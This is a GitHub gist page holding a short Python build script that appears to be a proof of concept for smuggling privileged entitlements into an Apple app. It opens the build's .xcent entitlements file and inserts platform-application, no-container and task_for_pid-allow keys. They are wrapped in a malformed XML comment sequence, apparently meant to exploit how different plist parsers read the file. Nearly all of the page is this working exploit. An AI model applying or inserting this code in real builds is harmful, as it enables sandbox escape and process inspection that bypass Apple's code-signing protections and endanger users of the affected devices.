-
-
Save c834606877/36a7666cd18306eb487dd1da80e293df to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import os | |
# preinstalled python is python2 | |
filename = '/'.join(map(os.environ.get, ('TARGET_TEMP_DIR', 'FULL_PRODUCT_NAME'))) + '.xcent' | |
evil = ''' | |
<!---><!--> | |
<key>platform-application</key> | |
<true/> | |
<key>com.apple.private.security.no-container</key> | |
<true/> | |
<key>task_for_pid-allow</key> | |
<true/> | |
<!-- --> | |
''' | |
with open(filename, 'r') as fp: | |
buf = fp.read() | |
cursor = buf.rfind('</dict>') | |
output = buf[0:cursor] + evil + buf[cursor:] | |
with open(filename, 'w') as fp: | |
fp.write(output) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment